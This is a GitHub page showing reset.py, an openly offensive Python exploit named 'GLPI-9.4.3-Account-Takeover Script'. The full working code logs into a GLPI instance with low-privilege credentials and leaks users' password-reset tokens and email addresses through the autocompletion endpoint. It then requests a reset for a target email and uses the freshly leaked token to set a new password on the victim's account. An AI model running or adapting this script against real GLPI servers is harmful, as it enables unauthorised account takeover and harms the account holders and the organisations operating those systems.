-
Notifications
You must be signed in to change notification settings - Fork 4
/
reset.py
157 lines (116 loc) · 4.81 KB
/
reset.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#!/usr/bin/python
#
#
import re
import sys
import json
import argparse
import requests
class GlpiBrowser:
def __init__(self, url, user, password):
self.url = url
self.user = user
self.password = password
self.session = requests.Session()
self.session.verify = False
requests.packages.urllib3.disable_warnings()
def extract_csrf(self, html):
return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0]
def get_login_data(self):
r = self.session.get('{0}'.format(self.url), allow_redirects=True)
csrf_token = self.extract_csrf(r.text)
name_field = re.findall('name="(.*)" id="login_name"', r.text)[0]
pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0]
return name_field, pass_field, csrf_token
def login(self):
try:
name_field, pass_field, csrf_token = self.get_login_data()
except Exception as e:
print ("[-] Login error: could not retrieve form data")
sys.exit(1)
data = {
name_field: self.user,
pass_field: self.password,
"auth": "local",
"submit": "Post",
"_glpi_csrf_token": csrf_token
}
r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False)
return r.status_code == 302
def get_data(self, itemtype, field, term=None):
params = {
"itemtype": itemtype,
"field": field,
"term": term if term else ""
}
r = self.session.get('{}/ajax/autocompletion.php'.format(self.url), params=params)
if r.status_code == 200:
try:
data = json.loads(r.text)
except:
return None
return data
return None
def get_forget_token(self):
return self.get_data('User', 'password_forget_token')
def get_emails(self):
return self.get_data('UserEmail', 'email')
def lost_password_request(self, email):
r = self.session.get('{0}/front/lostpassword.php'.format(self.url))
try:
csrf_token = self.extract_csrf(r.text)
except Exception as e:
print ("[-] Lost password error: could not retrieve form data")
sys.exit(1)
data = {
"email": email,
"update": "Save",
"_glpi_csrf_token": csrf_token
}
r = self.session.post('{}/front/lostpassword.php'.format(self.url), data=data)
return 'An email has been sent' in r.text
def change_password(self, email, password, token):
r = self.session.get('{0}/front/lostpassword.php'.format(self.url), params={'password_forget_token': token})
try:
csrf_token = self.extract_csrf(r.text)
except Exception as e:
print ("[-] Change password error: could not retrieve form data")
sys.exit(1)
data = {
"email": email,
"password": password,
"password2": password,
"password_forget_token": token,
"update": "Save",
"_glpi_csrf_token": csrf_token
}
r = self.session.post('{}/front/lostpassword.php'.format(self.url), data=data)
return 'Reset password successful' in r.text
def pwn(self, email, password):
if not self.login():
print ("[-] Login error")
return
tokens = self.get_forget_token()
if tokens is None:
tokens = []
if email:
if not self.lost_password_request(email):
print ("[-] Lost password error: could not request")
return
new_tokens = self.get_forget_token()
res = list(set(new_tokens) - set(tokens))
if res:
for token in res:
if self.change_password(email, password, token):
print ("[+] Password changed! ;")
return
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='GLPI-9.4.3-Account-Takeover Script')
parser.add_argument("--url", help="Target URL", required=True)
parser.add_argument("--user", help="Username", required=True)
parser.add_argument("--password", help="Password", required=True)
parser.add_argument("--email", help="Target email")
parser.add_argument("--newpass", help="New password")
args = parser.parse_args()
g = GlpiBrowser(args.url, user=args.user, password=args.password)
g.pwn(args.email, args.newpass)